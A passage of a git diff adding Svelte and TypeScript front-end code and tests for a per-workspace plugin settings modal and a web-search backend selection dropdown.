+ plugins,
+ layout,
+ onClose,
+ }: {
+ workspaceId: string;
+ /** The workspace's display title (modal heading). */
+ workspaceTitle: string;
+ plugins: PluginsStore;
+ /**
+ * The layout port (plan 04 §4.4) — gates + powers the "Reset layout to
+ * default" affordance. Absent → the section doesn't render (tests).
+ */
+ layout?: WorkspaceLayoutPort;
+ onClose: () => void;
+ } = $props();
+
+ onMount(() => {
+ // Load only when the view isn't already showing THIS workspace (reopening
+ // the same modal never flashes; a different id reloads it).
+ if (plugins.workspaceView?.workspaceId !== workspaceId) {
+ void plugins.openWorkspace(workspaceId);
+ }
+ });
+
+ // The default workspace is the template (§7): its states are what other
+ // workspaces inherit when they first open.
+ const isTemplate = $derived(workspaceId === "default");
+
+ async function toggle(pluginId: string, checked: boolean): Promise<void> {
+ await plugins.setWorkspaceState(workspaceId, pluginId, checked ? "enabled" : "disabled");
+ // The per-workspace activation rule (layout): toggling a plugin may have
+ // changed which layout plugin serves THIS workspace — re-probe so the
+ // newly-enabled provider's tree (or the no-provider degrade) renders
+ // without a reload. The store ignores non-active workspaces.
+ layout?.refresh(workspaceId);
+ }
+
+ // ── The reset affordance (plan 04 §4.4) ─────────────────────────────────
+ let resetOpen = $state(false);
+ let resetting = $state(false);
+ let resetError = $state<string | null>(null);
+
+ async function confirmReset(): Promise<void> {
+ if (layout === undefined || resetting) return;
+ resetting = true;
+ resetError = null;
+ const failure = await layout.reset(workspaceId);
+ resetting = false;
+ resetOpen = false;
+ if (failure !== null) resetError = failure;
+ }
+</script>
+
+<div class="modal modal-open" role="dialog" aria-label={`Plugins for ${workspaceTitle}`}>
+ <div class="modal-box max-w-2xl">
+ <h3 class="text-lg font-bold">Plugins — {workspaceTitle}</h3>
+ <p class="mt-1 text-xs opacity-60">
+ What THIS workspace uses. Unloaded plugins are greyed out — only the global plugin manager
+ loads code.
+ </p>
+ {#if isTemplate}
+ <p class="mt-1 text-xs text-info">
+ This is the default workspace — other workspaces inherit these states when they first open.
+ </p>
+ {/if}
+
+ {#if plugins.error}
+ <p class="mt-2 text-xs text-error" role="alert">{plugins.error}</p>
+ {/if}
+
+ {#if plugins.workspaceView === null}
+ <div class="flex h-24 items-center justify-center">
+ <span class="loading loading-spinner loading-sm opacity-60"></span>
+ </div>
+ {:else}
+ <table class="table table-sm mt-2">
+ <thead>
+ <tr>
+ <th class="w-10">
+ <span class="sr-only">Enabled</span>
+ </th>
+ <th>Plugin</th>
+ <th>State</th>
+ </tr>
+ </thead>
+ <tbody>
+ {#each plugins.workspaceView.rows as row (row.pluginId)}
+ <tr class={row.loaded ? "" : "opacity-50"}>
+ <td>
+ {#if rowSelectable(row)}
+ <input
+ type="checkbox"
+ class="checkbox checkbox-sm"
+ checked={rowChecked(row)}
+ aria-label={`${rowChecked(row) ? "Disable" : "Enable"} ${row.pluginId} in this workspace`}
+ onchange={(e) => toggle(row.pluginId, e.currentTarget.checked)}
+ />
+ {:else}
+ <input
+ type="checkbox"
+ class="checkbox checkbox-sm"
+ checked={rowChecked(row)}
+ disabled
+ aria-label={`${row.pluginId} (unavailable in this workspace)`}
+ title={rowBlockReason(row) ?? undefined}
+ />
+ {/if}
+ </td>
+ <td>
+ <span class="font-medium">{row.pluginId}</span>
+ <span class="badge badge-ghost badge-sm ml-2 text-xs">{row.tier}</span>
+ </td>
+ <td class="text-xs opacity-70">
+ {stateLabel(row.state)}
+ </td>
+ </tr>
+ {/each}
+ </tbody>
+ </table>
+ {/if}
+
+ {#if layout}
+ <div class="mt-3 border-t border-base-300 pt-3">
+ <div class="flex items-center justify-between gap-3">
+ <div>
+ <p class="text-sm font-medium">Layout</p>
+ {#if layout.providerActive}
+ <p class="text-xs opacity-60">Managed by the active layout plugin.</p>
+ {:else}
+ <p class="text-xs opacity-60">No layout plugin enabled — no layout to reset.</p>
+ {/if}
+ </div>
+ <button
+ type="button"
+ class="btn btn-warning btn-sm"
+ disabled={!layout.providerActive || resetting}
+ title={layout.providerActive
+ ? "Restore this workspace's default layout"
+ : "No layout plugin enabled"}
+ onclick={() => (resetOpen = true)}
+ >
+ Reset layout to default
+ </button>
+ </div>
+ {#if resetError}
+ <p class="mt-1 text-xs text-error" role="alert">Resetting the layout failed: {resetError}</p>
+ {/if}
+ </div>
+ {/if}
+
+ <div class="modal-action">
+ <button type="button" class="btn btn-sm" onclick={onClose}>Close</button>
+ </div>
+ </div>
+ <!-- svelte-ignore a11y_click_events_have_key_events, a11y_no_static_element_interactions -->
+ <div class="modal-backdrop" onclick={onClose}></div>
+</div>
+
+{#if resetOpen && layout}
+ <ResetLayoutConfirm onConfirm={() => void confirmReset()} onCancel={() => (resetOpen = false)} />
+{/if}
diff --git a/src/features/plugins/ui/WorkspacePluginModal.test.ts b/src/features/plugins/ui/WorkspacePluginModal.test.ts
new file mode 100644
index 0000000..4c75ab3
--- /dev/null
+++ b/src/features/plugins/ui/WorkspacePluginModal.test.ts
@@ -0,0 +1,258 @@
+import type { WorkspacePluginsResponse } from "@dispatch/transport-contract";
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import type { PluginsHttp } from "../adapter/http";
+import type { WorkspaceLayoutPort } from "../logic/types";
+import { createPluginsStore } from "../store.svelte";
+import WorkspacePluginModal from "./WorkspacePluginModal.svelte";
+
+const wsResponse: WorkspacePluginsResponse = {
+ workspaceId: "ws",
+ plugins: [
+ // Core: enabled + locked (the server materializes core to enabled and
+ // refuses its PUT with a 409 core-locked — plan 06 §6.6).
+ { pluginId: "kernel", tier: "core", state: "enabled", loaded: true, locked: true },
+ // Loaded standard: interactive.
+ { pluginId: "mcp", tier: "standard", state: "undefined", loaded: true, locked: false },
+ // UNLOADED: greyed out + unselectable (§7 strict layering).
+ { pluginId: "notloaded", tier: "standard", state: "disabled", loaded: false, locked: false },
+ ],
+ enabledProviderCount: 1,
+};
+
+function fakeHttp(overrides: Partial<PluginsHttp> = {}): PluginsHttp {
+ return {
+ list: vi.fn(async () => null),
+ scan: vi.fn(),
+ load: vi.fn(),
+ unload: vi.fn(),
+ reload: vi.fn(),
+ workspacePlugins: vi.fn(async () => wsResponse),
+ setWorkspaceState: vi.fn(async () => ({
+ ok: true,
+ response: { workspaceId: "ws", pluginId: "mcp", state: "enabled" },
+ })),
+ providersStatus: vi.fn(async () => ({ workspaceId: "ws", enabledProviderCount: 1 })),
+ ...overrides,
+ } as unknown as PluginsHttp;
+}
+
+async function renderModal(http: PluginsHttp = fakeHttp()) {
+ const store = createPluginsStore(http);
+ await store.openWorkspace("ws");
+ render(WorkspacePluginModal, {
+ props: { workspaceId: "ws", workspaceTitle: "My Workspace", plugins: store, onClose: vi.fn() },
+ });
+ return { store, http };
+}
+
+/** A layout port (plan 04 §4.4) scripted per test. */
+function fakeLayoutPort(
+ providerActive = true,
+ reset: WorkspaceLayoutPort["reset"] = vi.fn(async () => null),
+ refresh: WorkspaceLayoutPort["refresh"] = vi.fn(),
+): WorkspaceLayoutPort {
+ return { providerActive, reset, refresh };
+}
+
+describe("WorkspacePluginModal", () => {
+ it("renders the workspace's plugin rows", async () => {
+ await renderModal();
+ expect(screen.getByText("Plugins — My Workspace")).toBeInTheDocument();
+ expect(screen.getByText("kernel")).toBeInTheDocument();
+ expect(screen.getByText("mcp")).toBeInTheDocument();
+ });
+
+ it("checkboxes reflect the workspace state (enabled=checked, undefined=unchecked)", async () => {
+ await renderModal();
+ expect(screen.getByRole("checkbox", { name: /kernel/i })).toBeChecked();
+ expect(screen.getByRole("checkbox", { name: /Enable mcp/i })).not.toBeChecked();
+ });
+
+ it("unloaded plugins are greyed out AND unselectable (§7)", async () => {
+ await renderModal();
+ const checkbox = screen.getByRole("checkbox", { name: /notloaded/i });
+ expect(checkbox).toBeDisabled();
+ // The row is visually greyed (the opacity marker class).
+ expect(checkbox.closest("tr")?.className).toContain("opacity-50");
+ // The tooltip points at the global manager.
+ expect(checkbox.getAttribute("title")).toMatch(/plugin manager/i);
+ });
+
+ it("core rows render locked (checked but unselectable — the server refuses the PUT)", async () => {
+ await renderModal();
+ const checkbox = screen.getByRole("checkbox", { name: /kernel/i });
+ expect(checkbox).toBeDisabled();
+ expect(checkbox.getAttribute("title")).toMatch(/Core plugins are enabled by default/i);
+ });
+
+ it("checking a selectable row writes enabled via the store", async () => {
+ const user = userEvent.setup();
+ const { http } = await renderModal();
+ await user.click(screen.getByRole("checkbox", { name: /Enable mcp/i }));
+ expect(http.setWorkspaceState).toHaveBeenCalledWith("ws", "mcp", "enabled");
+ });
+
+ it("unchecking a checked row writes disabled", async () => {
+ const user = userEvent.setup();
+ const enabled: WorkspacePluginsResponse = {
+ workspaceId: "ws",
+ plugins: [
+ { pluginId: "mcp", tier: "standard", state: "enabled", loaded: true, locked: false },
+ ],
+ enabledProviderCount: 1,
+ };
+ const fake = fakeHttp({ workspacePlugins: async () => enabled });
+ const store = createPluginsStore(fake);
+ await store.openWorkspace("ws");
+ render(WorkspacePluginModal, {
+ props: {
+ workspaceId: "ws",
+ workspaceTitle: "My Workspace",
+ plugins: store,
+ onClose: vi.fn(),
+ },
+ });
+ await user.click(screen.getByRole("checkbox", { name: /Disable mcp/i }));
+ expect(fake.setWorkspaceState).toHaveBeenCalledWith("ws", "mcp", "disabled");
+ });
+
+ it("a successful toggle calls the layout port's refresh (the per-workspace activation may change the served tree)", async () => {
+ const user = userEvent.setup();
+ const refresh = vi.fn();
+ const store = createPluginsStore(fakeHttp());
+ await store.openWorkspace("ws");
+ render(WorkspacePluginModal, {
+ props: {
+ workspaceId: "ws",
+ workspaceTitle: "My Workspace",
+ plugins: store,
+ layout: fakeLayoutPort(
+ true,
+ vi.fn(async () => null),
+ refresh,
+ ),
+ onClose: vi.fn(),
+ },
+ });
+ await user.click(screen.getByRole("checkbox", { name: /Enable mcp/i }));
+ expect(refresh).toHaveBeenCalledWith("ws");
+ });
+
+ it("a REFUSED toggle (state write fails) still calls refresh — the probe is the idempotent catch-up", async () => {
+ const user = userEvent.setup();
+ const refresh = vi.fn();
+ const fake = fakeHttp({
+ setWorkspaceState: async () => ({
+ ok: false,
+ error: "Plugin is not loaded — load it globally first",
+ }),
+ });
+ const store = createPluginsStore(fake);
+ await store.openWorkspace("ws");
+ render(WorkspacePluginModal, {
+ props: {
+ workspaceId: "ws",
+ workspaceTitle: "My Workspace",
+ plugins: store,
+ layout: fakeLayoutPort(
+ true,
+ vi.fn(async () => null),
+ refresh,
+ ),
+ onClose: vi.fn(),
+ },
+ });
+ await user.click(screen.getByRole("checkbox", { name: /Enable mcp/i }));
+ // The attempted state change re-probes either way (a refused write changed
+ // nothing, so the probe re-syncs the same tree — harmless and consistent).
+ expect(refresh).toHaveBeenCalledWith("ws");
+ });
+
+ it("shows the template hint for the default workspace", async () => {
+ const store = createPluginsStore(fakeHttp());
+ await store.openWorkspace("default");
+ render(WorkspacePluginModal, {
+ props: {
+ workspaceId: "default",
+ workspaceTitle: "Default",
+ plugins: store,
+ onClose: vi.fn(),
+ },
+ });
+ expect(screen.getByText(/other workspaces inherit these states/i)).toBeInTheDocument();
+ });
+});
+
+describe("WorkspacePluginModal — the reset-layout affordance (plan 04 §4.4)", () => {
+ async function renderWithLayout(layout?: ReturnType<typeof fakeLayoutPort>) {
+ const store = createPluginsStore(fakeHttp());
+ await store.openWorkspace("ws");
+ render(WorkspacePluginModal, {
+ props: {
+ workspaceId: "ws",
+ workspaceTitle: "My Workspace",
+ plugins: store,
+ ...(layout ? { layout } : {}),
+ onClose: vi.fn(),
+ },
+ });
+ return layout;
+ }
+
+ it("renders an ENABLED reset button when a layout provider is active", async () => {
+ await renderWithLayout(fakeLayoutPort(true));
+ const button = screen.getByRole("button", { name: /reset layout to default/i });
+ expect(button).toBeEnabled();
+ });
+
+ it("the button is DISABLED with the 'no layout plugin enabled' reason when no provider is active", async () => {
+ await renderWithLayout(fakeLayoutPort(false));
+ const button = screen.getByRole("button", { name: /reset layout to default/i });
+ expect(button).toBeDisabled();
+ expect(button.getAttribute("title")).toMatch(/no layout plugin enabled/i);
+ expect(screen.getByText(/no layout plugin enabled/i)).toBeInTheDocument();
+ });
+
+ it("no layout port → the layout section doesn't render at all (tests / no wiring)", async () => {
+ await renderWithLayout(undefined);
+ expect(screen.queryByRole("button", { name: /reset layout to default/i })).toBeNull();
+ });
+
+ it("confirming the dialog resets the layout (and the dialog copy names the consequence)", async () => {
+ const user = userEvent.setup();
+ const reset = vi.fn(async () => null);
+ await renderWithLayout(fakeLayoutPort(true, reset));
+
+ await user.click(screen.getByRole("button", { name: /reset layout to default/i }));
+ // The confirm dialog names the consequence exactly (§4.4 copy).
+ expect(
+ screen.getByText(
+ /layout returns to the default; plugin and dropdown customizations are lost/i,
+ ),
+ ).toBeInTheDocument();
+ await user.click(screen.getByRole("button", { name: /^reset$/i }));
+ expect(reset).toHaveBeenCalledWith("ws");
+ });
+
+ it("cancelling the dialog never resets", async () => {
+ const user = userEvent.setup();
+ const reset = vi.fn(async () => null);
+ await renderWithLayout(fakeLayoutPort(true, reset));
+
+ await user.click(screen.getByRole("button", { name: /reset layout to default/i }));
+ await user.click(screen.getByRole("button", { name: /cancel/i }));
+ expect(reset).not.toHaveBeenCalled();
+ });
+
+ it("a failed reset surfaces the reason as an alert", async () => {
+ const user = userEvent.setup();
+ const reset = vi.fn(async () => "no layout plugin enabled");
+ await renderWithLayout(fakeLayoutPort(true, reset));
+
+ await user.click(screen.getByRole("button", { name: /reset layout to default/i }));
+ await user.click(screen.getByRole("button", { name: /^reset$/i }));
+ expect(await screen.findByRole("alert")).toHaveTextContent(/resetting the layout failed/i);
+ });
+});
diff --git a/src/features/search-settings/index.ts b/src/features/search-settings/index.ts
new file mode 100644
index 0000000..a6ea160
--- /dev/null
+++ b/src/features/search-settings/index.ts
@@ -0,0 +1,22 @@
+export type {
+ LoadSearchBackendConfig,
+ SaveSearchBackend,
+ SearchBackendAvailability,
+ SearchBackendConfig,
+ SearchBackendConfigResult,
+} from "./logic/view-model";
+export {
+ buildSearchBackendOptions,
+ NONE_BACKEND_ID,
+ NONE_BACKEND_LABEL,
+ normalizeSearchBackendConfig,
+ searchBackendChanged,
+ searchBackendLabel,
+} from "./logic/view-model";
+export { default as SearchBackendField } from "./ui/SearchBackendField.svelte";
+
+/** Public module manifest — aggregated by the shell's "Loaded Modules" view. */
+export const manifest = {
+ name: "Search Settings",
+ description: "Global search backend selection for the web_search tool (GET/PUT /search/config)",
+} as const;
diff --git a/src/features/search-settings/logic/view-model.test.ts b/src/features/search-settings/logic/view-model.test.ts
new file mode 100644
index 0000000..7f3ceb5
--- /dev/null
+++ b/src/features/search-settings/logic/view-model.test.ts
@@ -0,0 +1,108 @@
+import { describe, expect, it } from "vitest";
+import {
+ buildSearchBackendOptions,
+ NONE_BACKEND_ID,
+ NONE_BACKEND_LABEL,
+ normalizeSearchBackendConfig,
+ type SearchBackendConfig,
+ searchBackendChanged,
+ searchBackendLabel,
+} from "./view-model";
+
+const CONFIG: SearchBackendConfig = {
+ backend: "firecrawl",
+ available: [
+ { id: "firecrawl", label: "Firecrawl (self-hosted)", configured: true },
+ { id: "umans", label: "Umans (Exa)", configured: true },
+ ],
+};
+
+describe("buildSearchBackendOptions", () => {
+ it("lists the available backends in wire order plus the None off state last", () => {
+ expect(buildSearchBackendOptions(CONFIG)).toEqual([
+ { id: "firecrawl", label: "Firecrawl (self-hosted)", disabled: false },
+ { id: "umans", label: "Umans (Exa)", disabled: false },
+ { id: "none", label: NONE_BACKEND_LABEL, disabled: false },
+ ]);
+ });
+
+ it("disables unconfigured backends with a suffix (listed, never an error)", () => {
+ const config: SearchBackendConfig = {
+ backend: "firecrawl",
+ available: [
+ { id: "firecrawl", label: "Firecrawl (self-hosted)", configured: true },
+ { id: "umans", label: "Umans (Exa)", configured: false },
+ ],
+ };
+ const options = buildSearchBackendOptions(config);
+ expect(options[1]).toEqual({
+ id: "umans",
+ label: "Umans (Exa) (not configured)",
+ disabled: true,
+ });
+ expect(options[2]?.id).toBe(NONE_BACKEND_ID);
+ });
+
+ it("prepends an unknown persisted selection so the select can render it", () => {
+ const config: SearchBackendConfig = { backend: "gone", available: [] };
+ const options = buildSearchBackendOptions(config);
+ expect(options[0]).toEqual({ id: "gone", label: "gone (unknown)", disabled: false });
+ expect(options.at(-1)?.id).toBe(NONE_BACKEND_ID);
+ });
+
+ it("does not duplicate the none option when 'none' is selected", () => {
+ const config: SearchBackendConfig = { backend: NONE_BACKEND_ID, available: [] };
+ const options = buildSearchBackendOptions(config);
+ expect(options.filter((o) => o.id === NONE_BACKEND_ID)).toHaveLength(1);
+ });
+});
+
+describe("searchBackendLabel", () => {
+ it("maps a backend id to its advertised label", () => {
+ expect(searchBackendLabel(CONFIG, "umans")).toBe("Umans (Exa)");
+ });
+
+ it("maps 'none' to the off-state label", () => {
+ expect(searchBackendLabel(CONFIG, NONE_BACKEND_ID)).toBe(NONE_BACKEND_LABEL);
+ });
+
+ it("falls back to the raw id for an unknown backend", () => {
+ expect(searchBackendLabel(CONFIG, "gone")).toBe("gone");
+ });
+});
+
+describe("searchBackendChanged", () => {
+ it("detects a real change and a no-op reselect", () => {
+ expect(searchBackendChanged("umans", "firecrawl")).toBe(true);
+ expect(searchBackendChanged("firecrawl", "firecrawl")).toBe(false);
+ expect(searchBackendChanged(NONE_BACKEND_ID, NONE_BACKEND_ID)).toBe(false);
+ });
+});
+
+describe("normalizeSearchBackendConfig", () => {
+ it("normalizes a well-formed response", () => {
+ expect(
+ normalizeSearchBackendConfig({
+ backend: "umans",
+ available: [{ id: "firecrawl", label: "Firecrawl (self-hosted)", configured: true }],
+ }),
+ ).toEqual({
+ backend: "umans",
+ available: [{ id: "firecrawl", label: "Firecrawl (self-hosted)", configured: true }],
+ });
+ });
+
+ it("degrades a malformed/partial response instead of crashing the renderer", () => {
+ expect(normalizeSearchBackendConfig(null)).toEqual({ backend: NONE_BACKEND_ID, available: [] });
+ expect(normalizeSearchBackendConfig({})).toEqual({ backend: NONE_BACKEND_ID, available: [] });
+ expect(
+ normalizeSearchBackendConfig({
+ backend: "firecrawl",
+ available: [null, 42, { id: "" }, { label: "no id" }, { id: "umans" }],
+ }),
+ ).toEqual({
+ backend: "firecrawl",
+ available: [{ id: "umans", label: "umans", configured: false }],
+ });
+ });
+});
diff --git a/src/features/search-settings/logic/view-model.ts b/src/features/search-settings/logic/view-model.ts
new file mode 100644
index 0000000..5d172c9
--- /dev/null
+++ b/src/features/search-settings/logic/view-model.ts
@@ -0,0 +1,124 @@
+/**
+ * Pure core for the search-settings feature — zero DOM, zero effects, zero
+ * Svelte.
+ *
+ * The "Search backend" dropdown (Settings pane) picks the engine backing the
+ * `web_search` tool's SEARCH mode. The selection is GLOBAL and persisted on
+ * the backend (`GET/PUT /search/config`); decided entries are exactly
+ * "Firecrawl (self-hosted)" + "Umans (Exa)" plus "None (search disabled)" as
+ * the off state. Scrape/crawl always route to the self-hosted Firecrawl
+ * backend regardless of the selection; the tool's `map` mode is removed
+ * entirely (backend plan).
+ */
+
+/**
+ * One selectable backend as the backend's wire advertises it (mirrors
+ * `@dispatch/wire`'s `SearchBackendAvailability`).
+ */
+export interface SearchBackendAvailability {
+ readonly id: string;
+ readonly label: string;
+ /** The availability gate (umans: `UMANS_API_KEY` resolves; firecrawl: always). */
+ readonly configured: boolean;
+}
+
+/** The global search-backend config (`GET /search/config` response). */
+export interface SearchBackendConfig {
+ /** The selected backend id, or `"none"` (search off). */
+ readonly backend: string;
+ readonly available: readonly SearchBackendAvailability[];
+}
+
+// ── Injected ports (consumer-defines-port; the composition root adapts the
+// store's HTTP calls to these shapes). ──────────────────────────────────────
+
+/** Outcome of `GET/PUT /search/config`. `unavailable` marks the 503 degrade
+ * (the backend's search-config service not loaded) so the UI can disable the
+ * field with a "search not available" hint instead of a generic error. */
+export type SearchBackendConfigResult =
+ | { readonly ok: true; readonly config: SearchBackendConfig }
+ | { readonly ok: false; readonly error: string; readonly unavailable?: boolean };
+
+export type LoadSearchBackendConfig = () => Promise<SearchBackendConfigResult>;
+
+export type SaveSearchBackend = (backend: string) => Promise<SearchBackendConfigResult>;
+
+/** The explicit off-state option label. */
+export const NONE_BACKEND_ID = "none";
+export const NONE_BACKEND_LABEL = "None (search disabled)";
+
+/** One rendered `<option>` of the dropdown. */
+export interface SearchBackendOption {
+ readonly id: string;
+ readonly label: string;
+ /** Unconfigured backends stay LISTED but disabled — never an error. */
+ readonly disabled: boolean;
+}
+
+/**
+ * Build the dropdown options from the config: every advertised backend in
+ * wire order (unconfigured ones disabled with a "not configured" suffix),
+ * then the "None (search disabled)" off state appended last. If the persisted
+ * selection is not among them (an unknown id from a newer/older backend), it
+ * is prepended so the select can render it truthfully.
+ */
+export function buildSearchBackendOptions(
+ config: SearchBackendConfig,
+): readonly SearchBackendOption[] {
+ const options: SearchBackendOption[] = config.available.map((b) => ({
+ id: b.id,
+ label: b.configured ? b.label : `${b.label} (not configured)`,
+ disabled: !b.configured,
+ }));
+ if (
+ config.backend !== NONE_BACKEND_ID &&
+ !config.available.some((b) => b.id === config.backend)
+ ) {
+ options.unshift({ id: config.backend, label: `${config.backend} (unknown)`, disabled: false });
+ }
+ options.push({ id: NONE_BACKEND_ID, label: NONE_BACKEND_LABEL, disabled: false });
+ return options;
+}
+
+/** The human-facing label for a backend id (the saved / error messages). */
+export function searchBackendLabel(config: SearchBackendConfig, id: string): string {
+ if (id === NONE_BACKEND_ID) {
+ return NONE_BACKEND_LABEL;
+ }
+ return config.available.find((b) => b.id === id)?.label ?? id;
+}
+
+/** Whether selecting `selected` would change the persisted backend. */
+export function searchBackendChanged(selected: string, persisted: string): boolean {
+ return selected !== persisted;
+}
+
+/**
+ * Normalize the untyped JSON at the network seam so a malformed/partial
+ * response can never crash the renderer (mirrors `normalizeHeartbeatConfig`).
+ * Unknown entries degrade to unconfigured; a missing backend falls back to
+ * `"none"` rendering (the safest default for a UI that must not lie).
+ */
+export function normalizeSearchBackendConfig(raw: unknown): SearchBackendConfig {
+ const obj = (raw ?? {}) as {
+ backend?: unknown;
+ available?: unknown;
+ };
+ const available = Array.isArray(obj.available) ? obj.available : [];
+ return {
+ backend:
+ typeof obj.backend === "string" && obj.backend.length > 0 ? obj.backend : NONE_BACKEND_ID,
+ available: available.flatMap((entry) => {
+ if (entry === null || typeof entry !== "object") return [];
+ const e = entry as { id?: unknown; label?: unknown; configured?: unknown };
+ if (typeof e.id !== "string" || e.id.length === 0) return [];
+ return [
+ {
+ id: e.id,
+ label: typeof e.label === "string" ? e.label : e.id,
+ configured: e.configured === true,
+ },
+ ];
+ }),
+ };
+}
diff --git a/src/features/search-settings/ui/SearchBackendField.svelte b/src/features/search-settings/ui/SearchBackendField.svelte
new file mode 100644
index 0000000..c1ae450
--- /dev/null
+++ b/src/features/search-settings/ui/SearchBackendField.svelte
@@ -0,0 +1,142 @@
+<script lang="ts">
+ /**
+ * The "Search backend" dropdown (Settings pane) — picks the engine backing
+ * the `web_search` tool's SEARCH mode. GLOBAL setting persisted on the
+ * backend (`GET/PUT /search/config`); SAVE ON CHANGE (no Set button).
+ * Unconfigured backends stay listed but disabled; "None (search disabled)"
+ * is the off state. The config affects search mode only — scrape/crawl
+ * always route to the self-hosted Firecrawl backend.
+ *
+ * Thin shell: seeds/reverts the select from the last PERSISTED value, shows
+ * saving/saved/error feedback, and degrades to a disabled field with a
+ * "search not available" hint when the backend's search-config service is
+ * not loaded (503) — matching heartbeat's degrade philosophy.
+ */
+ import { untrack } from "svelte";
+ import {
+ buildSearchBackendOptions,
+ type LoadSearchBackendConfig,
+ NONE_BACKEND_ID,
+ type SaveSearchBackend,
+ searchBackendChanged,
+ searchBackendLabel,
+ type SearchBackendConfig,
+ } from "../logic/view-model";
+
+ let {
+ load,
+ save,
+ }: {
+ /** Fetch the persisted global config (called once on mount). */
+ load: LoadSearchBackendConfig;
+ /** Persist a new backend selection (save-on-change). */
+ save: SaveSearchBackend;
+ } = $props();
+
+ let config = $state<SearchBackendConfig | null>(null);
+ let loading = $state(true);
+ let loadUnavailable = $state(false);
+ let loadError = $state<string | null>(null);
+ let selected = $state("");
+ let lastSeed = $state("");
+ let saving = $state(false);
+ let error = $state<string | null>(null);
+ let justSaved = $state<string | null>(null);
+
+ $effect(() => {
+ // Load ONCE on first mount (the setting is GLOBAL — no workspace
+ // re-seeding); guard against strict-mode double effects via the flag.
+ untrack(async () => {
+ if (config !== null || loadUnavailable) return;
+ loading = true;
+ loadError = null;
+ const result = await load();
+ loading = false;
+ if (result.ok) {
+ config = result.config;
+ selected = result.config.backend;
+ lastSeed = result.config.backend;
+ } else {
+ loadUnavailable = result.unavailable === true;
+ loadError = result.error;
+ }
+ });
+ });
+
+ const options = $derived(config === null ? [] : buildSearchBackendOptions(config));
+ const persisted = $derived(lastSeed);
+
+ async function handleChange(): Promise<void> {
+ if (saving || config === null) return;
+ const next = selected;
+ if (!searchBackendChanged(next, persisted)) return;
+ saving = true;
+ error = null;
+ justSaved = null;
+ const result = await save(next);
+ saving = false;
+ if (result.ok) {
+ config = result.config;
+ // Reflect the persisted value back (the backend is authoritative).
+ selected = result.config.backend;
+ lastSeed = result.config.backend;
+ justSaved = searchBackendLabel(result.config, result.config.backend);
+ } else {
+ error = result.error;
+ // Revert the select to the last persisted value on failure.
+ selected = persisted;
+ }
+ }
+
+ function onSelectChange(): void {
+ error = null;
+ justSaved = null;
+ void handleChange();
+ }
+</script>
+
+<div class="flex flex-col gap-1">
+ <span class="text-xs font-semibold uppercase opacity-60">Search backend</span>
+ {#if loading}
+ <div class="skeleton h-7 w-full" aria-label="Search backend loading"></div>
+ {:else if config === null}
+ <select
+ class="select select-bordered select-sm w-full text-xs"
+ disabled
+ aria-label="Search backend"
+ >
+ <option>{loadUnavailable ? "Search not available" : (loadError ?? "Unavailable")}</option>
+ </select>
+ {#if loadError && !loadUnavailable}
+ <p class="text-xs text-error">{loadError}</p>
+ {/if}
+ {:else}
+ <select
+ class="select select-bordered select-sm w-full text-xs"
+ bind:value={selected}
+ disabled={saving}
+ onchange={onSelectChange}
+ aria-label="Search backend"
+ >
+ {#each options as option (option.id)}
+ <option value={option.id} disabled={option.disabled}>{option.label}</option>
+ {/each}
+ </select>
+ {#if saving}
+ <p class="text-xs opacity-60 flex items-center gap-1">
+ <span class="loading loading-spinner loading-xs"></span>
+ Saving…
+ </p>
+ {:else if error}
+ <p class="text-xs text-error">{error}</p>
+ {:else if justSaved !== null}
+ <p class="text-xs text-success">Saved: {justSaved}.</p>
+ {/if}
+ {/if}
+ {#if !loadUnavailable}
+ <p class="text-xs opacity-50">
+ Affects the web_search tool's <em>search</em> mode only — scrape and crawl always use the
+ self-hosted Firecrawl backend, and the tool's map mode has been removed.
+ </p>
+ {/if}
+</div>
diff --git a/src/features/search-settings/ui/SearchBackendField.test.ts b/src/features/search-settings/ui/SearchBackendField.test.ts
new file mode 100644
index 0000000..d8597ef
--- /dev/null
+++ b/src/features/search-settings/ui/SearchBackendField.test.ts
@@ -0,0 +1,119 @@
+import { render, screen, waitFor } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it } from "vitest";
+import type { SearchBackendConfig, SearchBackendConfigResult } from "../logic/view-model";
+import SearchBackendField from "./SearchBackendField.svelte";
+
+const CONFIG: SearchBackendConfig = {
+ backend: "firecrawl",
+ available: [
+ { id: "firecrawl", label: "Firecrawl (self-hosted)", configured: true },
+ { id: "umans", label: "Umans (Exa)", configured: false },
+ ],
+};
+
+function okLoad(backend = "firecrawl"): () => Promise<SearchBackendConfigResult> {
+ return async () => ({ ok: true, config: { ...CONFIG, backend } });
+}
+
+function okSave(backend: string): () => Promise<SearchBackendConfigResult> {
+ const saves: string[] = [];
+ const impl = async (value: string): Promise<SearchBackendConfigResult> => {
+ saves.push(value);
+ return { ok: true, config: { ...CONFIG, backend: value } };
+ };
+ // attach the recorder for assertions
+ (impl as unknown as { saves: string[] }).saves = saves;
+ void backend;
+ return impl as () => Promise<SearchBackendConfigResult>;
+}
+
+describe("SearchBackendField", () => {
+ it("renders the options from the loaded config (unconfigured disabled, None last)", async () => {
+ render(SearchBackendField, { props: { load: okLoad(), save: okSave("none") } });
+ const select = await screen.findByLabelText("Search backend");
+ await waitFor(() => expect(select).toBeEnabled());
+ const options = select.querySelectorAll("option");
+ const labels = [...options].map((o) => o.textContent);
+ expect(labels).toEqual([
+ "Firecrawl (self-hosted)",
+ "Umans (Exa) (not configured)",
+ "None (search disabled)",
+ ]);
+ expect(options[1]?.disabled).toBe(true);
+ expect((select as HTMLSelectElement).value).toBe("firecrawl");
+ });
+
+ it("saves on change and shows the saved confirmation with the new label", async () => {
+ const user = userEvent.setup();
+ const save = okSave("umans");
+ render(SearchBackendField, { props: { load: okLoad(), save } });
+
+ const select = (await screen.findByLabelText("Search backend")) as HTMLSelectElement;
+ await waitFor(() => expect(select).toBeEnabled());
+
+ // Select the umans entry (disabled here would block it, so flip configured
+ // via a custom config below); instead select "none" which is always enabled.
+ await user.selectOptions(select, "none");
+ await waitFor(() => expect(screen.getByText(/Saved/)).toBeInTheDocument());
+ expect(screen.getByText(/Saved: None \(search disabled\)\./)).toBeInTheDocument();
+ const saves = (save as unknown as { saves: string[] }).saves;
+ expect(saves).toEqual(["none"]);
+ expect(select.value).toBe("none");
+ });
+
+ it("reverts the selection to the persisted value when the save fails", async () => {
+ const user = userEvent.setup();
+ const save = async (): Promise<SearchBackendConfigResult> => ({
+ ok: false,
+ error: "Set search backend failed (HTTP 500)",
+ });
+ render(SearchBackendField, { props: { load: okLoad(), save } });
+
+ const select = (await screen.findByLabelText("Search backend")) as HTMLSelectElement;
